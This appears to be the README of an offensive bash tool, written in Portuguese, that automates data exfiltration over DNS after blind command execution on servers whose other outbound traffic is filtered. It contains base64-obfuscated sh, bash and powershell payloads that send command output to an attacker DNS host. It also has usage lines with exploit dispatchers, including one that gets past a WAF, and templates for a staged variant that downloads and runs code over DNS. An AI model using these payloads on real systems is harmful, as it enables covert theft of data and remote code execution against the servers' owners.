
Um script bash que automatiza a exfiltração de dados via DNS em caso de execução cega de comandos em um servidor com filtragem de saída.
Um script bash que automatiza a exfiltração de dados via DNS quando temos uma execução de comando cega em um servidor onde todas as conexões de saída, exceto DNS, são bloqueadas. O script atualmente suporta sh, bash e powershell e é compatível com execução de comando do tipo exec (por exemplo, java.lang.Runtime.exec).
Unstaged:
Staged:
Para suas operações, o script recebe como entrada o comando que queremos executar no servidor alvo e o transforma de acordo com o shell alvo para permitir que sua saída seja exfiltrada via DNS. Após a transformação do comando, ele é alimentado para o "dispatcher". O dispatcher é um programa fornecido pelo usuário e é responsável por receber um comando e fazê-lo executar no servidor alvo por qualquer meio necessário (por exemplo, explorando uma vulnerabilidade). Depois que o comando é executado no servidor alvo, espera-se que ele dispare requisições DNS para nosso servidor DNS contendo pedaços de nossos dados. O script escuta essas requisições até que a saída do comando fornecido pelo usuário seja totalmente exfiltrada.
Abaixo estão as transformações de comando suportadas, geradas para a exfiltração do comando: ls
sh:
sh -c $@|base64${IFS}-d|sh . echo IGRpZyBAMCArdHJpZXM9NSBgKGxzKXxiYXNlNjQgLXcwfHdjIC1jYC5sZW4xNjAzNTQxMTc4LndoYXRldi5lcgo=
bash:
bash -c {echo,IG5zbG9va3VwIGAobHMpfGJhc2U2NCAtdzB8d2MgLWNgLmxlbi4xNjAzMDMwNTYwLndoYXRldi5lcgo=}|{base64,-d}|bash
powershell:
powershell -enc UgBlAHMAbwBsAHYAZQAtAEQAbgBzAE4AYQBtAGUAIAAkACgAIgB7ADAAfQAuAHsAMQB9AC4AewAyAH0AIgAgAC0AZgAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAGwAcwApACkAKQAuAGwAZQBuAGcAdABoACkALAAiAGwAZQBuACIALAAiADEANgAwADMAMAAzADAANAA4ADgALgB3AGgAYQB0AGUAdgAuAGUAcgAiACkACgA=
./procroustes_chunked.sh -h whatev.er -d "dig @0 +tries=5" -x dispatcher_examples/local_bash.sh -- 'ls -lha|grep secret' < <(stdbuf -oL tcpdump --immediate -l -i any udp port 53)
stdbuf -oL tcpdump --immediate -l -i any udp port 53|./procroustes_chunked.sh -w ps -h whatev.er -d "Resolve-DnsName -Server wsl2_IP -Name" -x dispatcher_examples/local_powershell_wsl2.sh -- 'gci | % {$_.Name}'
./procroustes_chunked.sh -w ps -h yourdns.host -d "Resolve-DnsName" -x dispatcher_examples/curl_waf.sh -- 'gci | % {$_.Name}' < <(stdbuf -oL ssh user@HOST 'sudo tcpdump --immediate -l udp port 53')
./procroustes_chunked.sh --help
Em suma, supondo que queremos exfiltrar alguns dados que precisam ser divididos em quatro partes para poderem ser transmitidos via DNS:
Algumas das diferenças também podem ser ilustradas através dos comandos modelo usados para bash:
procroustes_chunked/bash:
%DNS_TRIGGER% `(%CMD%)|base64 -w0|cut -b$((%INDEX%+1))-$((%INDEX%+%COUNT%))'`.%UNIQUE_DNS_HOST%
procroustes_full/bash:
(%CMD%)|base64 -w0|echo $(cat)--|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|awk '{printf "%s.%s%s\n",$1,NR,"%UNIQUE_DNS_HOST%"}'|xargs -P%THREADS% -n1 %DNS_TRIGGER%
procroustes_full/bash/staged:
(seq %ITERATIONS%|%S_DNS_TRIGGGER% $(cat).%UNIQUE_DNS_HOST%|tr . \ |printf %02x $(cat)|xxd -r -p)|bash
[1] Para a versão staged, o comando é baixado via DNS, então o tamanho listado é também o tamanho total do payload.
[2] No procroustes_chunked, o dispatcher é chamado várias vezes, assim como o comando fornecido que deve ser executado no servidor (até que toda sua saída seja exfiltrada). Esse comportamento não é ideal se a entrega de comandos ao servidor (ou seja, chamando o dispatcher) for intensiva em tempo/recursos.
Também pode causar problemas se o comando que estamos executando no servidor não for idempotente (funcionalmente ou em termos de saída, por exemplo, "ls;rm file") ou for intensivo em tempo/recursos (por exemplo, find / -name secret). Uma alternativa para esse caso é primeiro armazenar a saída do comando em um arquivo (por exemplo, /tmp/file) e depois usar o script para ler esse arquivo.
[3] Na versão staged, temos a sobrecarga do tempo necessário para obter o payload real via DNS. Deve-se notar que o script faz uso de registros A para obter o payload real. Embora isso permita que nosso tráfego se misture melhor com o tráfego regular do ambiente alvo, oferece capacidade de canal limitada (por exemplo, 4 bytes por requisição). Poderíamos usar outros tipos de registro como TXT e minimizar o tempo de download do stage (próximo de zero) e o tamanho do stager.
| procroustes_chunked | procroustes_full | procroustes_full_staged |
|---|
| sobrecarga de tamanho de payload (bash/powershell) | 150*NLABELS/500*NLABELS (+CMD_LEN) | 300/800 (+CMD_LEN) | 150/400[1] |
| número de chamadas do dispatcher | #saida/(LABEL_SIZE*NLABELS)[2] | 1 | 1 |
| velocidade (bash/powershell) | ✔/✔ | ✔/✔ | ✓/✓[3] |
| dificuldade de configuração | fácil | fácil+ | médio |